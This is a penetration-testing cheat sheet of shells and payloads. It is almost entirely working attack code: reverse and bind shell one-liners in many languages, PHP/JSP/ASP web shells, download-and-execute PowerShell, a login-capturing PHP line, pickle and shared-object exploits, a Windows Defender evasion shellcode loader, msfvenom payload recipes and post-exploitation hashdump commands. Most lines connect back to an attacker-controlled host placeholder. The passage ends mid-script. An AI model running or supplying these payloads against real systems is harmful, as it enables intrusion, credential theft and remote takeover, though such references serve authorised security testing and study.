Shells / Payloads
Here are shells
01. Linux
Common shells
## ------------------| Reverse
bash -i >& /dev/tcp/<HostIP>/4545 0>&1
bash -c "bash -i >& /dev/tcp/<HostIP>/4545 0>&1"
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <HostIP> 4545 >/tmp/f
## ------------------| Bind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 4545 >/tmp/f
TTY Spawn shell
/bin/sh -i
lua: os.execute('/bin/sh')
echo os.system('/bin/bash')
script -qc /bin/bash /dev/null
python -c "import pty; pty.spawn('/bin/bash')"
python3 -c "import pty; pty.spawn('/bin/bash')"
New born shell to pretty shell
python -c "import pty; pty.spawn('/bin/bash')"
stty raw -echo; fg
stty rows 45 cols 173
export TERM=xterm-256color
## ------------------| To add colors
export LS_OPTIONS='--color=auto'
eval "`dircolors`"
alias ls='ls $LS_OPTIONS'
export PS1='\[\e]0;\u@\h: \w\a\]\[\033[01;32m\]\u@\h\[\033[01;34m\] \w\$\[\033[00m\] '
## ------------------| To find my rows and cols
stty -a | head -n1 | cut -d ';' -f 2-3 | cut -b2- | sed 's/; /\n/'
ReverseSSH [Linux]🔥
## ------------------| Victim
## [32bit] wget https://github.com/Fahrj/reverse-ssh/releases/download/v1.2.0/upx_reverse-sshx86 -O reverse-ssh
## [64bit] wget https://github.com/Fahrj/reverse-ssh/releases/download/v1.2.0/upx_reverse-sshx64 -O reverse-ssh
chmod +x reverse-ssh
./reverse-ssh
./reverse-ssh -p <LPORT> <LHOST>
./reverse-ssh -p 22 h4rithd@<LHOST>
## ------------------| Attacker (user:letmeinbrudipls)
ssh -p 31337 <RHOST>
Reverse shell
02. Windows
One Liner Reverse Shell.
## ------------------| Reverse
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "$client = New-Object System.Net.Sockets.TCPClient('<HostIP>',4545);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush();}$client.Close()"
## ------------------| Bind
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "$listener = New-Object System.Net.Sockets.TcpListener('0.0.0.0',4545);$listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();$listener.Stop()"
From bind shell to reverse shell [ Windows ]
## ------------------| Best place for land
%temp%\shell.exe
C:\Users\Public\Documents\shell.exe
## ------------------| First try to upload nc.exe and get revshell, it will be easy
IWR -uri http://<IP/nc64.exe -OutFile C:\Users\Public\Documents\nc.exe
cmd /c nc.exe <IP> 4545 -e powershell.exe
## ------------------| Nishang's PowerShell ReverseTCP
cp /opt/nishang/Shells/Invoke-PowerShellTcp.ps1 rev.ps1
echo -e "Invoke-PowerShellTcp -Reverse -IPAddress <HostIP> -Port 4545" >> rev.ps1
python3 -m http.server 80
## Execute [x86/x64]
powershell "IEX(New-Object Net.WebClient).downloadString('http://<HostIP>/rev.ps1')"
## Execute [x64]
C:\windows\sysnative\WindowsPowerShell\v1.0\powershell.exe "IEX(New-Object Net.WebClient).downloadString('http://<HostIP>/rev.ps1')"
## ------------------| If above 👆 commands does not work; check if they limit the poweshell ability by issuing the following command.
powershell $ExecutionContext.SessionState.LanguageMode
## if it return ConstrainedLanguage you can not run commands like IEX. it means you can not run Invoke-PowerShellTcp.ps1.
## So select netcat or 10x10x14x38_4545.exe with Invoke-WebRequest (or any download methord) insted of this.
Encoded Payload
## ------------------| Encode the payload
echo -n "IEX(New-Object Net.WebClient).DownloadString('http://<HostIP>/rev.ps1')" | iconv --to-code UTF-16LE | base64 -w 0
## ------------------| Run the payload
powershell -EncodedCommand SQBFAFgAKABOA.....ApAA==
powershell -E SQBFAFgAKABOA.....ApAA==
powershell -enc SQBFAFgAKABOA.....ApAA==
powershell -NoP -NonI -W Hidden -Exec Bypass -EncodedCommand SQBFAFgAKABOA.....ApAA==
C program
#include <stdlib.h>
int main ()
{
int user;
user = system ("powershell -NoP -NonI -W Hidden -Exec Bypass -EncodedCommand SQBFAFgAKABOA.....ApAA==");
//user = system ("net user h4rithd Password! /add");
//user = system ("net localgroup administrators h4rithd /add");
return 0;
}
// i686-w64-mingw32-gcc shell.c -o shell.exe
// x86_64-w64-mingw32-gcc shell.c -o shell64.exe
Fully Interactive Reverse Shell for Windows [source]
## Only for Windows version >= 10 / 2019 1809 (build >= 10.0.17763)
## ------------------| Setup
stty size
wget https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -O rev.ps1
echo "\nInvoke-ConPtyShell -RemoteIp <IP> -RemotePort 4545 -Rows 45 -Cols 173" >> rev.ps1
IEX(New-Object Net.WebClient).downloadString('http://<HostIP>/rev.ps1')
## ------------------| Execute
nc -lvnp 4545
Wait For connection
ctrl+z
stty raw -echo; fg[ENTER]
Simple Reverse Shell (Avoid Win 11 defender detection) [source]
## ------------------| Setup
wget https://github.com/h4rithd/Simple-Reverse-Shell/releases/download/v1.0.0/RevShellx64.exe
mv RevShellx64.exe 10x10x14x25_4545.exe
## ------------------| Execute
powershell.exe Invoke-WebRequest -Uri http://10.10.14.38/10x10x14x38_4545.exe -OutFile C:\Windows\Temp\10x10x14x38_4545.exe
C:\Windows\Temp\10x10x14x38_4545.exe
PowerCat
Usage
## ------------------| RevShell
powercat -c <HostIP> -p 4545 -e cmd.exe
## ------------------| BindShell
powercat -l -p 4545 -e cmd.exe
## ------------------| Create Simple Payload
powercat -c <HostIP> -p 4545 -e cmd.exe -g > revshell.ps1
## ------------------| Create Encoded Payload
powercat -c <HostIP> -p 4545 -e cmd.exe -ge > revshell.ps1
PHP file upload and execute
<?php
if (isset($_REQUEST['fupload'])){
file_put_contents($_REQUEST['fupload'], file_get_contents("http://<HostIP>/" . $_REQUEST['fupload']));
};
if (isset($_REQUEST['cmd'])){
echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
};
?>
If you can not access the cmd
## ------------------| Create payload
#include <stdlib.h>
int main() {
system("C:\\Windows\\System32\\cmd.exe");
}
## ------------------| Complie to exe
x86_64-w64-mingw32-gcc pwn.c -o pwn.exe
## ------------------| Start smb server
impacket-smbserver -smb2support share $(pwd)
AV Evasion (
ps1
)
## ------------------| Create shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.38 LPORT=4545 -f powershell
## ------------------| RevShell.ps1
$code = '
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);';
$winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru;
[Byte[]];
[Byte[]]$sc = 0xfc,0x.....0xff,0xd5;
$size = 0x1000;
if ($sc.Length -gt 0x1000) {$size = $sc.Length};
$x = $winFunc::VirtualAlloc(0,$size,0x3000,0x40);
for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};
$winFunc::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };
## ------------------| Handler
msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST tun0; set LPORT 4545; set AutoRunScript post/windows/manage/migrate; exploit"
Simple Reverse ICMP Shell [icmpsh]
## ------------------| Disable ICMP replies by the OS [Execute on linux machine]
sudo sysctl -w net.ipv4.icmp_echo_ignore_all=1
cat /proc/sys/net/ipv4/icmp_echo_ignore_all
## ------------------| Setup listener
sudo -s
wget https://raw.githubusercontent.com/bdamele/icmpsh/master/icmpsh_m.py
virtualenv -p python2 venv
source venv/bin/activate
pip install impacket
python icmpsh_m.py <MyLocalIP> <VictimIP>
## ------------------| Setup Reverse shell
cp /usr/share/nishang/Shells/Invoke-PowerShellIcmp.ps1 rev.ps1
## If you can remove blank lines and comments.
## Add following line at the end
Invoke-PowerShellIcmp -IPAddress <MyLocalIP>
## ------------------| If you need to encode it and run
cat rev.ps1 | iconv -t utf-16le | base64 -w 0
powershell -enc <EncodeShell>
## ------------------| Enable ICMP replies by the OS [Execute on linux machine]
sudo sysctl -w net.ipv4.icmp_echo_ignore_all=0
cat /proc/sys/net/ipv4/icmp_echo_ignore_all
ReverseSSH [Windows]🔥
## ------------------| Victim
## [32bit] https://github.com/Fahrj/reverse-ssh/releases/download/v1.2.0/upx_reverse-sshx86.exe -O reverse-ssh.exe
## [64bit] https://github.com/Fahrj/reverse-ssh/releases/download/v1.2.0/upx_reverse-sshx64.exe -O reverse-ssh.exe
./reverse-ssh.exe
./reverse-ssh.exe -p <LPORT> <LHOST>
./reverse-ssh.exe -p 22 h4rithd@<LHOST>
## ------------------| Attacker (user:letmeinbrudipls)
ssh -p 31337 <RHOST>
JScript Dropper
## ------------------| Setup
wget --no-check-certificate https://github.com/tyranid/DotNetToJScript/releases/download/v1.0.4/release_v1.0.4.7z
7z x release_v1.0.4.7z
cd release_v1.0.4.7z
### Create DLL Payload file
.\DotNetToJScript.exe Payload.dll -l [JScript,VBA,VBScript] -v [None,v2,v4,Auto] -o output.js
.\DotNetToJScript.exe Payload.dll -l JScript -v v4 -o output.js
## ------------------| Execute
Cscript.exe output.js
Wscript.exe output.js
03. Reverse Shells
Bash
bash -i >& /dev/tcp/<HostIP>/4545 0>&1
bash -c "bash -i >& /dev/tcp/<HostIP>/4545 0>&1"
## ------------------| If your shell die often, use nohup
bash -c 'nohup bash -i >& /dev/tcp/<HostIP>/4545 0>&1 &'
Netcat
## ------------------| Reverse
nc -e /bin/sh <HostIP> 4545
nc -c bash <HostIP> 4545
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <HostIP> 4545 >/tmp/f
## ------------------| Bind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 4545 >/tmp/f
PHP
## ------------------| Best RevShell for Windows/Linux/Mac
wget https://raw.githubusercontent.com/ivan-sincek/php-reverse-shell/master/src/reverse/php_reverse_shell.php -O rev.php
## ------------------| Extentions
.php , .php5 , .php7 , .phar
## ------------------| Check disable_functions
<?php phpinfo() ?>
#### system(), passthru(), shell_exec(), popen(), fsockopen() or proc_open()
## ------------------| 15 bytes shell (shell.php?1=id)
<?=`$_GET[1]`?>
## ------------------| Bind shell for test
<?php system($_REQUEST['cmd']); ?>
<?php echo shell_exec($_REQUEST['cmd']); ?>
<?php echo '<pre>'.shell_exec($_REQUEST['cmd']).'</pre>'; ?>
<?php passthru($_GET['cmd']); ?>
<?php echo exec("whoami");?>
<?php exec("ls -la",$array); print_r($array); ?>
<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>
<?php $output = `whoami`; echo "<pre>$output</pre>"; ?>
<?php echo `whoami`; ?>
<?php system($_SERVER['HTTP_ACCEPT_LANGUAGE']); ?>
<?php system($_SERVER['HTTP_USER_AGENT'])?>
<?php echo passthru($_SERVER['HTTP_ACCEPT_LANGUAGE']); ?>
## ------------------| Secure bind shell
<?php
if ($_SERVER['REMOTE_HOST'] === "<IP>") { // Set your IP address here
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
echo "<pre>\n";
system($cmd);
echo "</pre>";
}
}
?>
## ------------------| Rev shell
php -r '$sock=fsockopen("<HostIP>",4545);exec("/bin/sh -i <&3 >&3 2>&3");'
## ------------------| Include
<php include("http://<HostIP>/rev.php"); ?>
## ------------------| Download file
<?php exec("wget -O /var/www/html/shell.php <HostIP>/rev.php"); ?>
## ------------------| Open the file to get existing content
<?php file_get_contents("/etc/passwd"); ?>
## ------------------| Write the contents back to the file (LOCK_EX flag to prevent anyone else writing to the file at the same time)
<?php file_put_contents('/dev/shm/logs.txt', "Login Found: ".$_POST['log'].":".$_POST['pwd']."\n" , FILE_APPEND | LOCK_EX); ?>
## ------------------| Weevely
## https://github.com/epinna/weevely3
weevely generate h4rithd shell.php
weevely http://<IP>/shell.php h4rithd
:audit_etcpasswd --help
## ------------------| p0wny@shell
wget https://raw.githubusercontent.com/flozz/p0wny-shell/master/shell.php
### p0wny:shell
## ------------------| proc_open [PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8]
<?php
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("file", "/tmp/error-output.txt", "a")
);
$cwd = '/tmp';
$env = array('some_option' => 'aeiou');
$process = proc_open('sh', $descriptorspec, $pipes, $cwd, $env);
if (is_resource($process)) {
fwrite($pipes[0], 'ping -c 2 <IP>');
fclose($pipes[0]);
echo stream_get_contents($pipes[1]);
fclose($pipes[1]);
$return_value = proc_close($process);
echo "command returned $return_value\n";
}
?>
## ------------------| Works on Linux/Windows/Mac (Best so far)
wget https://raw.githubusercontent.com/ivan-sincek/php-reverse-shell/master/src/reverse/php_reverse_shell.php -O rev.php
Python
## ------------------| One line
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<HostIP>",4545));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
## ------------------| python script
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('<HostIP>',4545))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
## ------------------| python script without os
import socket,subprocess
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('<HostIP>',4545))
dup2(s.fileno(),0)
dup2(s.fileno(),1)
dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
## ------------------| Privilege Escalate with dash
import os
os.system(chmod 4755 $(which dash))
os.system(cp $(which dash) /tmp/dash;chmod 4555 /tmp/dash)
## ------------------| Bind
python -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",4545));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'
C
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#define REMOTE_ADDR "XXX.XXX.XXX.XXX"
#define REMOTE_PORT XXX
int main(int argc, char *argv[])
{
struct sockaddr_in sa;
int s;
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
sa.sin_port = htons(REMOTE_PORT);
s = socket(AF_INET, SOCK_STREAM, 0);
connect(s, (struct sockaddr *)&sa, sizeof(sa));
dup2(s, 0);
dup2(s, 1);
dup2(s, 2);
execve("/bin/sh", 0, 0);
return 0;
}
Jsp
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
Asp
<% eval request("cmd") %>
Perl
## ------------------| Linux
perl -e 'use Socket;$i="<HostIP>";$p=4545;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"<HostIP>:4545");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
## ------------------| Windows
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"<HostIP>:4545");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
Ruby
ruby -rsocket -e'f=TCPSocket.open("<HostIP>",4545).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Java
## ------------------| Linux
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<HostIP>/4545;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
## ------------------| Windows
### h4rithd.java
### run java h4rithd.java to obtain shell
import java.net.Socket;
import java.io.InputStream;
import java.io.IOException;
import java.io.OutputStream;
class h4rithd {
public static void main(String[] args) throws Exception{
String host="<IP>";
int port=4545;
String cmd="cmd.exe"; // Change this to [/bin/bash] according os
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
}
}
Groovy
## ------------------| Execute command
cmd = "whoami"
println cmd.execute().text
## ------------------| RevShell
Thread.start {
String host="<HostIP>";
int port=4545;
String cmd="bash"; //use cmd.exe for windows
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
}
Pickle
import os
import pickle
from base64 import urlsafe_b64encode as b64encode
payload = """
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <HostIP> 4545 >/tmp/f
"""
class Expo(object):
def __reduce__(self):
return (os.system,(payload,))
print b64encode(pickle.dumps(Expo()))
## Run : python exploit.py
HTA
<html><head><script>
var c= 'cmd.exe'
new ActiveXObject('WScript.Shell').Run(c);
</script></head><body><script>
self.close();
</script></body></html>
Shared Object Shell (.so)
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
## gcc -shared -o libcounter.so -fPIC libcounter.c
Javascript
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn((process.platform.contains('win')?'cmd.exe':'/bin/sh'),[]);
var client = new net.Socket();
client.connect(8080, "127.0.0.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the node.js application from crashing
})();
NodeJS
echo "require('child_process').exec('ping -c 2 <IP>')" > /var/tmp/shell.js
node /var/tmp/shell.js
Telnet
rm -f /tmp/p; mknod /tmp/p p && telnet ATTACKING-IP 80 0/tmp/p
telnet ATTACKING-IP 80 | /bin/bash | telnet ATTACKING-IP 443
.so dynamic libraries
#include <stdio.h>
#include <stdlib.h>
static void smash() __attribute__((constructor));
void smash() {
setresuid(0,0,0);
system("ping -c 2 192.168.119.121");
}
//gcc -o shell.so -shared shell.c -fPIC
Rust
## ------------------| Reverse Shell
use std::net::TcpStream;
use std::os::unix::io::{AsRawFd, FromRawFd};
use std::process::{Command, Stdio};
fn main() {
let s = TcpStream::connect("<HostIP>:4545").unwrap();
let fd = s.as_raw_fd();
Command::new("/bin/sh")
.arg("-i")
.stdin(unsafe { Stdio::from_raw_fd(fd) })
.stdout(unsafe { Stdio::from_raw_fd(fd) })
.stderr(unsafe { Stdio::from_raw_fd(fd) })
.spawn()
.unwrap()
.wait()
.unwrap();
}
## ------------------| Bind Shell
use std::net::{TcpStream, TcpListener};
use std::os::unix::io::{AsRawFd, FromRawFd};
use std::process::{Command, Stdio};
use std::thread;
fn handle_client(stream: TcpStream) {
let fd = stream.as_raw_fd();
Command::new("/bin/bash")
.arg("-i")
.stdin(unsafe { Stdio::from_raw_fd(fd) })
.stdout(unsafe { Stdio::from_raw_fd(fd) })
.stderr(unsafe { Stdio::from_raw_fd(fd) })
.spawn()
.unwrap()
.wait()
.unwrap();
}
fn main() {
let listener = TcpListener::bind("<HostIP>:4545").expect("Cannot bind to port 4444. Is something using it?");
println!("Listening on port 4545...");
let mut num_connections = 0;
for stream in listener.incoming() {
let stream = stream.expect("An error occurred trying to handle an incoming connection");
println!("New connection from {}; Current connections: {}", stream.peer_addr().unwrap(), num_connections);
thread::spawn(|| {
handle_client(stream);
});
num_connections += 1;
}
}
Visual Studio Project (.csproj)
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net6.0</TargetFramework>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
<Target Name="Shell" BeforeTargets="Build">
<Exec Command="ping -n 2 <IP>" />
</Target>
</Project>
04. MSFVenom
General usage
msfvenom -l Payloads | grep powershell #Payloads
msfvenom -l encoders #Encoders
msfvenom -help-formats ## List payload formats
-b "\x00\x0a\x0d"
-f c [fotmat c code]
-e x86/shikata_ga_nai -i 5
EXITFUNC=thread
## ------------------| Migrate to a specified process
set AutoRunScript post/windows/manage/migrate
migrate <PID>
## ------------------| Take Screenshot
### for this you should have migrate to the intractive process like exeplore
screenshot
screenshare
## ------------------| Hashdump
use post/windows/gather/smart_hashdump
set GETSYSTEM true
set SESSION <ID>
run
## ------------------| Deletes a specified user account
run post/windows/manage/delete_user USERNAME=h4rithd
## ------------------| Pivot deeper into a target network
run post/windows/manage/autoroute SUBNET=192.168.218.0 ACTION=ADD
use auxiliary/scanner/portscan/tcp
shell_reverse_tcp ## Stage less
shell/reverse_tcp ## Staged (small size, 2 stage)
## ------------------| One line
msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST tun0; set LPORT 4545; set AutoRunScript post/windows/manage/migrate; exploit"
04.1 Windows
Reverse Shell Executable (sh3ll.exe)
## ------------------| MSF Reverse Shell (Stage)
msfvenom --platform windows -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=<HostIP> LPORT=4545 -f exe > h4rithd.exe
## ------------------| MSF Reverse Shell (Stage less)
msfvenom --platform windows -a x64 -p windows/x64/meterpreter_reverse_tcp LHOST=<HostIP> LPORT=4545 -f exe > h4rithd.exe
## ------------------| MSF Reverse Shell (Encoded)
msfvenom --platform windows -a x64 -p windows/x64/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 3 LHOST=<HostIP> LPORT=4545 -f exe > encoded.exe
## ------------------| CMD Reverse Shell
msfvenom --platform windows -a x64 -p windows/x64/shell_reverse_tcp LHOST=<HostIP> LPORT=4545 -f exe > h4rithd.exe
## ------------------| MSF Bind Shell
msfvenom --platform windows -a x64 -p windows/x64/meterpreter/bind_tcp RHOST=<HostIP> LPORT=4545 -f exe > h4rithd.exe
Create New User
## ------------------| Create User
msfvenom --platform windows -p windows/adduser USER=h4rithd PASS=Passw0rd@123 -f exe > h4rithd.exe
Execute Commands
## ------------------| Execute Command
msfvenom --platform windows -a x86 -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > h4rithd.exe
msfvenom --platform windows -a x86 -p windows/exec CMD="net localgroup administrators h4rithd /add" -f exe > h4rithd.exe
Other things
## ------------------| Run programe [Mostly used for buffer overflow]
msfvenom -a x86 -p windows/exec CMD=calc.exe -b '\x00\x0A\x0D' -f python
## ------------------| To create bit 32 bit payload
-a x86 -p windows/meterpreter/reverse_tcp # MSF
-a x86 -p windows/shell_reverse_tcp # CMD
## ------------------| Create DLL file
msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=<HostIP> LPORT=4545 -f dll > h4rithd.dll
04.2 Linux
## ------------------| Reverse Shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<HostIP> LPORT=4545 -f elf > h4rithd.elf
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<HostIP> LPORT=4545 -f elf > h4rithd.elf
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<HostIP> LPORT=4545 -f elf > h4rithd.elf
## ------------------| Bash Reverse Shell
msfvenom -p cmd/unix/reverse_bash LHOST=<HostIP> LPORT=4545 -f raw > shell.sh
## ------------------| MSF Bind Shell
msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=<HostIP> LPORT=4545 -f elf > h4rithd.elf
04.3 Other
Shellcode
## msfvenom -help-formats
## ------------------| Linux
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<HostIP> LPORT=4545 -f <language>
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<HostIP> LPORT=4545 -f <language>
## ------------------| Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<HostIP> LPORT=4545 -f <language>
msfvenom -p windows/shell_reverse_tcp LHOST=<HostIP> LPORT=4545 EXITFUNC=thread -f hex > Shellcode.txt
msfvenom -p windows/shell_reverse_tcp LHOST=<HostIP> LPORT=4545 EXITFUNC=thread -f c -e x86/shikata_ga_nai > Shellcode.txt
msfvenom -p windows/x64/meterpreter/shell_reverse_tcp LHOST=<HostIP> LPORT=4545 EXITFUNC=thread -f hex > Shellcode.txt
## ------------------| Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<HostIP> LPORT=4545 -f <language\
ASP/ ASPX
## ------------------| MSF Reverse Shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<HostIP> LPORT=4545 -f aspx >reverse.aspx
## ------------------| Reverse Shell
msfvenom -p windows/shell_reverse_tcp LHOST=<HostIP> LPORT=4545 -f aspx >reverse.aspx
PHP
## ------------------| MSF Reverse Shell
msfvenom -p php/meterpreter_reverse_tcp LHOST=<HostIP> LPORT=4545 -f raw -b '"'> evil.php
## ------------------| Reverse Shell
msfvenom -p php/reverse_php LHOST=<HostIP> LPORT=4545 -f raw -b '"' > evil.php
echo -e "<?php $(cat evil.php)" > shell.php
JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<HostIP> LPORT=4545 -f raw> reverse.jsp
HTA
msfvenom -p windows/shell_reverse_tcp LHOST=<HostIP> LPORT=4545 -f hta-psh -o evil.hta
## ------------------| Split the payload with python
str = "powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQ....."
n = 50
for i in range(0, len(str), n):
print ("Str = Str + " + '"' + str[i:i+n] + '"')
## ------------------| Then use with
Dim Str As String
Str = Str + "powers.....
Shell (Str)
Ms Micro
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=<HostIP> LPORT=4545 -e x86/shikata_ga_nai -f vba-exe
WAR (tomcat)
## ------------------| Create payload
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<HostIP> LPORT=4545 -f war > reverse.war
## ------------------| Upload war file
curl -u 'username:password' -T shell.war http://10.10.10.10:8080/manager/text/deploy?path=/h4rithd
NodeJS
msfvenom -p nodejs/shell_reverse_tcp LHOST=<HostIP> LPORT=4545
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<HostIP> LPORT=4545 -f js_le -e generic/none
Perl
msfvenom -p cmd/unix/reverse_perl LHOST=<HostIP> LPORT=4545 -f raw > reverse.pl
Python
msfvenom -p cmd/unix/reverse_python LHOST=<HostIP> LPORT=4545 -f raw > reverse.py
05. NamedPipes (forward-shell)
#!/usr/bin/python3
# Authors: ippsec, 0xdf
# Modify : h4rithd.com
import base64
import random
import requests
import threading
import time
class WebShell(object):
def __init__(self, interval=1.3 , proxies='http://127.0.0.1:8080'):
self.url = r"http://10.10.10.67/shell.php" # MODIFY THIS, URL
self.proxies = {'http' : proxies}
session = random.randrange(10000,99999)
print(f"[+] Session ID: {session}")
self.stdin = f'/dev/shm/input.{session}'
self.stdout = f'/dev/shm/output.{session}'
self.interval = interval
print("[+] Setting up fifo shell on target")
MakeNamedPipes = f"mkfifo {self.stdin}; tail -f {self.stdin} | /bin/sh 2>&1 > {self.stdout}"
self.RunRawCmd(MakeNamedPipes, timeout=0.1)
print("[+] Setting up read thread")
self.interval = interval
thread = threading.Thread(target=self.ReadThread, args=())
thread.daemon = True
thread.start()
def ReadThread(self):
GetOutput = f"/bin/cat {self.stdout}"
while True:
result = self.RunRawCmd(GetOutput , proxy=None)
if result:
print(result)
ClearOutput = f'echo -n "" > {self.stdout}'
self.RunRawCmd(ClearOutput)
time.sleep(self.interval)
def RunRawCmd(self, cmd, timeout=50, proxy=""): # "http://127.0.0.1:8080"):
payload = {'cmd' : cmd} # MODIFY THIS IF YOU WANT: This is where your payload code goes
if proxy:
proxies = self.proxies
else:
proxies = {}
try:
r = requests.get(self.url, params=payload, timeout=timeout , proxies=proxies) # ,auth=('webdav_tester','babygurl69'))
return r.text
except:
pass
def WriteCmd(self, cmd):
